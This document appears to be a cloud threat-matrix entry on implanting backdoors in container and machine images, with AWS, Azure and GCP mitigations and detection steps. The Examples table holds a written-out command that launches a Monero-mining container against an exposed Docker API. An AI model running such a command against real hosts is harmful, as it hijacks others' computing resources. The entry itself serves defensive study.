Implant Container Image (version 1.0)

**Cloud Service Label: IaaS**

Description

Amazon Web Service (AWS) Amazon Machine Images (AMI), and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide initial or persistent access.

For example, a publicly accessible tool has been developed to facilitate planting backdoors in AWS Docker container images. If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell. Adversaries may also implant Docker images that may be inadvertently used in cloud deployments especially with cluster management services like Kubernetes. Kubernetes will grab new container images from a configured repository and run them dynamically. If a malicious image makes it into the container registry, an adversary can be reasonably sure it will eventually be run by a newly launched Kubernetes node.

Examples

|  |  |
| --- | --- |
| **Name** | **Description** |
| Cryptojacking Campaign | On November 24, 2019, a cryptojacking campaign exploited Docker API endpoints to mine Monero. This was done by deploying an Alpine Linux OS container to the exposed Docker API that runs a malicious script from the attackers’ servers and installs a Monero miner. Launching a mining container is as easy as *docker -H 192.168.1.7:2376 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig-o POOL01 -o POOL02 -u WALLET -p PASSWORD -k* |
| GCP Custom Cloud Shell Image | After obtaining a shell on the host of a container, a malicious Docker image can be built to steal contents from a user’s home folder. |

Mitigations

|  |  |  |
| --- | --- | --- |
| **Mitigation** | | **Description** |
| Audit | | Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources. Consider using automated resource checkers such as CloudSploit or Divvycloud. |
|  | AWS | To perform an audit via AWS it is suggested to review information such as account details (credentials, users, groups, roles, etc), mobile applications, EC2 configurations, policies, and account activity. How to audit these different factors can be found in detail at: **https://docs.aws.amazon.com/general/latest/gr/aws-security-audit-guide.html.** |
|  | Azure | To perform an audit via Azure an administrator can review the audit logs that are recorded under Azure’s monitoring for active directory. The audit logs allow for filtering, as well as looking at users, groups, and enterprise specific information. Full details on how to access this information can be found at: **https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/concept-audit-logs.** |
|  | GCP | To perform an audit via GCP the logs can be reviewed. GCP breaks this down into three categories; admin activity, data access, and system events. The audit logs can be viewed a few different ways- the console, API, or gcloud. Full details on how to view these logs, how to export, and for how to configure the retention period can be found here: **https://cloud.google.com/logging/docs/audit.** |
| Code Signing | | Several cloud service providers support content trust models that require container images be signed by trusted sources. |
| Least Privilege | | All access given to users in the cloud environment should be assigned by the necessary privileges needed for team members to complete their job responsibilities. Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary . |
|  | AWS | To implement least privilege in an AWS environment IAM policies will be used. This gives the ability to allow users to perform list, read, write, permissions management, or tagging actions. AWS suggests utilizing *last accessed information* and A*WS CloudTrail event history* to get a better understanding of privileges that might be needed or reduced based on a specific role. Full details can be found at **https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege.** |
|  | Azure | To implement least privilege in an Azure environment Azure Active Directory roles will be used. Azure outlines different tasks and the least privileged role that are suggested to be associated with the task. Those details can be found at: **https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/roles-delegate-by-task.** To learn how to assign specific roles it can be done via the Azure Active Directory Portal. Instructions on how to assign roles can be found here: **https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-manage-roles-portal.** |
|  | GCP | To implement least privilege in GCP it is recommended to use predefined roles (which allow for granular access permissions) instead of primitive roles (roles/owner, roles/editor, and roles/viewer). Full details on the difference between types of roles can be found here: **https://cloud.google.com/iam/docs/understanding-roles.** To assign these roles IAM service accounts are used and complete details can be found at: **https://cloud.google.com/iam/docs/using-iam-securely#least\_privilege.** |
| Privileged Account Management | | Do not allow subscription-level administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. |
|  | AWS | To manage the access that privileged accounts have on the AWS cloud system to only allow administrators to perform administrative tasks on such accounts can be accomplished utilizing limited IAM administrator accounts. To configure this the administrator would have two accounts; one would have administrative rights and no basic access while the other account has basic access with no administrative rights. To limit the administrative account the IAM limited administrator would be used. This is done by creating a policy that gives a user admin rights, but disallows the other actions using the AWS command line interface. This is outlined at: [**https://aws.amazon.com/blogs/security/how-to-create-a-limited-iam-administrator-by-using-managed-policies/**](https://aws.amazon.com/blogs/security/how-to-create-a-limited-iam-administrator-by-using-managed-policies/)**.** |
|  | Azure | To manage the access that privilege accounts have on the Azure cloud system to only allow administrators to perform administrative tasks on such accounts can be accomplished utilizing limited IAM administrator accounts. To configure this the administrator would have two accounts; one would have administrative rights and no basic access while the other account has basic access with no administrative rights. To limit the administrative account the specific administrative needs can be picked from a number of options available (Azure DevOps Administrator, Billing Administrator, Cloud Application Administrator, etc.) These different options can be edited to fit the needs and limit the basic access. This is outlined at: [**https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles**](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles)**.** |
|  | GCP | To manage the access that privilege accounts have on the Azure cloud system to only allow administrators to perform administrative tasks on such accounts can be accomplished utilizing limited IAM administrator accounts. To configure this the administrator would have two accounts; one would have administrative rights and no basic access while the other account has basic access with no administrative rights. To limit the administrative account pre-defined administrator accounts can be used (mobile admin, Google voice admin, help desk admin, etc.). These accounts can be used with their pre-defined settings, or modified depending on specific use cases. These can limit access to basic functionality needed. This is outlined at: **https://support.google.com/a/answer/2405986?hl=en.** |
| Use Private Container Repos | | Retrieving a container from Docker Hub does not mean that the container image is free from vulnerabilities or malware! Pointing cluster management software to fetch containers from repos outside an organization’s direct control tacitly permits access to everyone who can add content to that repo. |

Detection

If an automated scanning tool does not flag something suspicious in an image, it will be difficult to detect malicious behavior inserted into one of the many processes running inside the container. However, it should be possible to detect any network connections a container is making unexpectantly which could indicate a backdoor is being initiated.

|  |  |
| --- | --- |
| **Detection** | **Description** |
| Create Log Metric Filters and Alarms for AWS | To create a metric filter and alarm:   1. Create a metric filter that checks for IAM policy changes and the *<cloudtrail\_log\_group\_name>* 2. Create an SNS topic 3. Create an SNS subscription to the above topic 4. Create an alarm associated with the filter and SNS topic created in steps 1 and 2 respectively |
| Monitor Activity in AWS Account | Various services in AWS offer logging features that allow for detection capabilities. These include CloudFront, CloudTrail, CloudWatch, Config, and S3. |
| Monitor for Suspicious Activity in Azure | Azure AD can generate anomaly reports than can be run on a daily basis. Azure AD Identity Protection show current risks in its dashboard and provides daily email summary notifications. Policies can also be configured to alert to specific issues. |
| Create Log Metric Filters and Alarms for CloudTrail | To create a metric filter and alarm:   1. Create a filter that checks for CloudTrail changes and the specific *<cloudtrail\_log\_group\_name>* 2. Create an SNS topic that the alarm will notify 3. Create an SNS subscription to the above topic 4. Create an alarm associated with the filter from step 1 and SNS topic in step 2 |
| Create Activity Log Alerts in Azure | To create log activity alerts for deletion in the Azure Console:   1. Navigate to *Monitor’ / ‘Alerts* 2. Select *Manage alert rules* 3. Click on the Alert *Name* where Condition contains *operationName equals Microsoft.Network/networkSecurityGroups/securityRules/delete* 4. Hover a mouse over *Condition* to ensure it is set to *Whenever the Administrative Activity Log “Delete Security Rule (networkSecurityGroups/securityRules)” has “any” level with “any” status and event is initiated by “any*” |
| Create, View, and Manage Activity Alerts in Azure Monitor | To create a log alert in the Azure portal:   1. Select **Monitor -> Alerts** 2. Select **New alert rule** of the **Alerts** window 3. Provide information in **Define alert condition** 4. Provide details in **Define alert details** 5. Specify action group for new alert rule under **Action group**, or create a new action group with + **New group** 6. Select **Yes** for the **Enable rule upon creation** option 7. Select **Create alert rule**   To view and manage alerts:   1. Select **Monitor -> Alerts -> Manage alert rules** 2. Select the rule you want to modify and double-click to edit the rule options 3. Click **Save** |
| Azure Resource Manager Templates | Azure Resource Manager templates in the format of JSON files that can be used to configure metric alerts in Azure Monitor. These templates can be used for simple static and dynamic threshold metric alerts, availability tests, and monitoring multiple resources. |
| Enable CloudTrail across all regions in AWS | To enable CloudTrail across all regions:   1. Sign into the AWS Management Console and open the CloudTrail console 2. Click on *Trails* 3. Set necessary Trails to All option in the I column 4. Click on a trail via the link *Name* column 5. Set *Logging* to *ON* 6. Set *Apply trail to all regions* to *Yes* |
| Configure log profile to capture activity logs for all regions in Azure | To set up activity logs for all regions:   1. Navigate to Azure console 2. Go to *Activity log* 3. Select *Export* 4. Select *Subscription* 5. Check *Select all* in *Regions* 6. Select *Save* |

References

1. [Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.](https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/)

1. [Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.](https://github.com/RhinoSecurityLabs/ccat" \t "_blank)

1. [Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.](https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud" \t "_blank)

1. [Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019.](https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust" \t "_blank)

1. [Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019.](https://docs.docker.com/engine/security/trust/content_trust/" \t "_blank)
2. [CoinTelegraph. (2019, November). Helen Partz - Hackers Mass-Scanning Web for Docker Platforms to Mine Cryptocurrencies. Retrieved July 14, 2020.](https://cointelegraph.com/news/hackers-mass-scanning-web-for-docker-platforms-to-mine-cryptocurrencies)
3. <https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124>. Accessed July 14, 2020.
4. <https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/>. Accessed July 29, 2020.